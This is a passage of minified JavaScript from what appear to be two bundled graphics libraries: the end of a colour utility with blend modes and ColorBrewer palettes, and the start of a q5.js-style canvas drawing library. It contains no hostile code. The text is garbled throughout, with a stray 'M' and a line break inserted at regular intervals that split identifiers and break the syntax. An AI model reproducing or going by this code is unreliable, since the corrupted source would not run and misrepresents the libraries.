ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
